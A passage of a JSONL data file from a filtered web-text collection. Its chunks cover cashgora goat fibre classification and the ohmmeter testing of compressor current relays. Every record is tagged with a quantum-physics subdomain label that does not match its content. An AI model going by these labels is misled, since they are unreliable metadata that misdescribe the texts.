some subset of type within the middle microns have met mixed success and much confusion remains. however, middle micron fibre is generally of mean fibre diameter between 19 and 22 microns and has characteristics intermediate between cashmere and mohair. generally accepted definitions of cashmere include fibre with a mean fibre diameter finer than 19 microns which in the raw state has two fibres ; a fine cashmere component and a coarse hair component which is removed on dehairing. the cashmere component is crinkled in appearance. mohair, for the purposes of this review may be considered a single fleeced animal ; that is all fibres within the fleece are of mohair type and relatively uniform in appearance. mean fibre diameter may range from 20 microns upward. australian mohair originating from before introductions of stock from texas and southern africa had a relatively straight appearance when single fibres were teased from a staple. australian mohair of more recent times has more of a wavy or broad crinkled appearance. a type called cashgora, from a combination of the words cashmere and angora, recognising the intermediate appearance of the fibre between cashmere and mohair which comes from the angora breed of goat. the cashgora type was established by the australian cashmere growers association with a definition of three types of fibre present in the fleece. a fine crinkled cashmere component, a stronger relatively straight mohair - like component and hair similar to the hair present in raw cashmere fleece. this type reflected the hybrid mohair - feral or mohair - dairy origin of the animals from which much of this fibre was derived. straight mohair - like fibres were present in the fleece, probably as a result of the use of pre - importation australian mohair animals in the parentage. some fleece with the three types of fibre present may be finer than 19 um, but because of the presence of fibres with a straight or mohair - like appearance, the fibre would be classed as cashgora. some fibre with mean fibre diameter stronger than 22 microns would also be classed", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5349336304443819, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.181923"} {"text": "may be finer than 19 um, but because of the presence of fibres with a straight or mohair - like appearance, the fibre would be classed as cashgora. some fibre with mean fibre diameter stronger than 22 microns would also be classed as cashgora because of the presence of the three fibre types within the fleece. more recently, cashgora also included some fleece with down and hair content outwardly similar to cashmere, that is of crinkled appearance, but of mean fibre diameter too high and of handle not consistent with fibre in the cashmere type. this type of fibre generally arises from animals which produce fibre within the cashmere range as young animals, but have started to produce stronger fibre with increasing age or good nutrition. middle fibre may be produced from a number of sources within australia. originally it was considered to originate from animals of with some mohair parentage, but it is now apparent that cashmere, boer, and some dairy crossbreds may also produce fibre falling in the middle category. in new zealand, an active program of development of cashgora fibre production during the 1980 \u2019 s led to rapid gains in production from herds of mostly hybrid mohair - feral origin. fibre in the middle category also originates from traditional cashmere producing regions in mongolia and iran from time to time. production of middle fibre in these regions is thought to increase when high cashmere prices lead to the retention of older or wether animals in order to increase production. this fibre generally has a cashmere - like or crinkled appearance and is relatively free from straight or mohair - like fibres. when noticed, this stronger cashmere - like fibre is priced at a discount relative to the traditional type cashmere. production of middle fibre in australia and new zealand has been sporadic with the result that processors have been reluctant to base processing on availability of an unreliable source of raw material. the raw material is also highly variable with several types evident within the cashgora category, but because of the small quantities, processors have tended to place the types together for processing. production in new zealand increased dramatically in response to an interested and enthusiastic processor purchasing fibre. however, production declined to almost nothing in the mid 1990 \u2019 s response to price signals of cashgora relative to cashmere. middle fibre still needs to be dehaired using a similar process to that employed to remove the hair from cashmere fleece. it is speculated that some types of cashgora may be more difficult to dehair than cashmere because they contain", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48368258579567514, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.182988"} {"text": ". middle fibre still needs to be dehaired using a similar process to that employed to remove the hair from cashmere fleece. it is speculated that some types of cashgora may be more difficult to dehair than cashmere because they contain a continuous distribution of fibre in diameters between cashmere type, through mohair types and on to hair. it is thought that the intermediate fibres which approach the fibre diameter of hair may make the removal of hair difficult or more costly. in addition, at times when fine kid mohair is competitively priced, the dehairing cost associated with cashgora may make it less attractive for purchase, particularly for those types with some mohair - like characteristics. some commentators have suggested that coarse fibre of cashmere appearance should be marketed and sold as cashmere. conversely a number of processors have suggested that a strategy such as this runs the risk of perpetuating the myth that australian cashmere is coarse and of mohair - hybrid type. in particular at least one major international processor has stated that marketing this fibre as cashmere is fraudulent. the fibre with a cashmere appearance, particularly if it falls in the range of mean fibre diameter 19 to 20 um, does however appear to have a number of attractive features. it is distinctly different to kid mohair, it has a handle somewhat akin to cashmere, but with a sleeker, smoother surface and generally higher lustre. it generally has greater length and higher tensile strength than finer fibre. these attributes suggest that high quality fabric for suiting could be made using the worsted spinning process. it is likely that attempts will again be made to popularise this fibre, since it will continue to be produced in australia, new zealand and internationally from time to time, and perhaps deliberately encouraged if found desirable. however, work remains to be done on its description and marketing. attempts to call this fibre cashmere are likely to continue to be met with resistance from proponents of the existing definitions of cashmere. \u00a9 2000 acga", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5052315243957449, "token_count": 407, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.183799"} {"text": "- residential market - light commercial market - commercial market - indoor air quality - components & accessories - residential controls - commercial controls - testing, monitoring, tools - services, apps & software - standards & legislation - extra edition | acceptable ohm reading for a good current relay. | one type of starting relay used on fractional - horsepower compressors is the current relay. this type of starting relay uses the initial high inrush current draw of a compressor \u2019 s run winding to energize its coil and bring in its additional starting circuit. the coil of this relay is wired in series with the run winding so as the compressor starts it draws the same initial inrush current as the run winding. the contacts of this relay are normally open and are wired in series with the starting circuit. as the compressor attempts to start, the higher current draw causes the relay \u2019 s coil to be sufficiently energized, closing its contacts and bringing in the starting circuit. this gives the compressor the initial torque required to start. as the compressor \u2019 s rotor approaches its normal operating speed, the current draw drops causing the relay \u2019 s contacts to open and remove the starting circuit. a defective current relay can cause a compressor not to start. if the relay has an open coil or its contacts are stuck open, the starting circuit will not be energized during the starting of the compressor. this will cause the compressor not to have the required starting torque. if its contacts are stuck closed, the starting components of the motor will not be removed from the circuit and the compressor will cycle off on its overload. one popular method of troubleshooting this type of starting relay is with an ohmmeter. to use this method, disconnect the circuit \u2019 s voltage source and remove the relay from the circuit. using the ohmmeter, check its coil \u2019 s resistance, it should be approximately 1 ohm. l and m are normally used to identify the coil \u2019 s terminals on the relay. if the relay does not have an l or m terminal, use the system \u2019 s wiring diagram to properly identify its coil terminals. an infinite resistance reading will indicate an open coil and the relay needing to be replaced. next, check the relay \u2019 s contacts by holding the relay in its upright position and placing the ohmmeter leads across its contact \u2019 s terminals. m and s are normally used to identify these terminals. again, if the relay does not have an m or s terminal use the system \u2019 s wiring diagram to properly identify its contact terminals.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5292049876163181, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.187356"} {"text": "the ohmmeter leads across its contact \u2019 s terminals. m and s are normally used to identify these terminals. again, if the relay does not have an m or s terminal use the system \u2019 s wiring diagram to properly identify its contact terminals. if the ohmmeter reads an infinite resistance, the contacts are open as they should be. if the meter reads no resistance or a resistance, the contacts are stuck closed. the relay will need to be replaced. next try turning the relay upside down and shaking it ; the contacts should close ( zero resistance ) and open ( infinite resistance ) as the relay is shaken. the operation of a current relay can sometimes be checked using a clamp - on ammeter. an analog style meter works best for this test. if possible, clamp the ammeter around the wire leading to the starting circuit. apply voltage to the compressor circuit while observing the ammeter. on a properly operating current relay, an amperage draw should be read momentarily then drop to zero. if there is no amperage draw or it does not drop to zero before the compressor cycles off on its overload, there is a problem with the starting of the compressor. to determine if it is the current relay, disconnect the voltage applied to the compressor circuit ; remove the relay from the circuit, and using an ohmmeter check the relay \u2019 s coil and contacts as described above. before condemning any single - phase compressor which fails to start, check its starting relay and verify it is not the cause. replacing a compressor as the result of a defective starting relay is not good for your customer or your service reputation. publication date : 9 / 3 / 2012", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5100985623780444, "token_count": 338, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.187993"}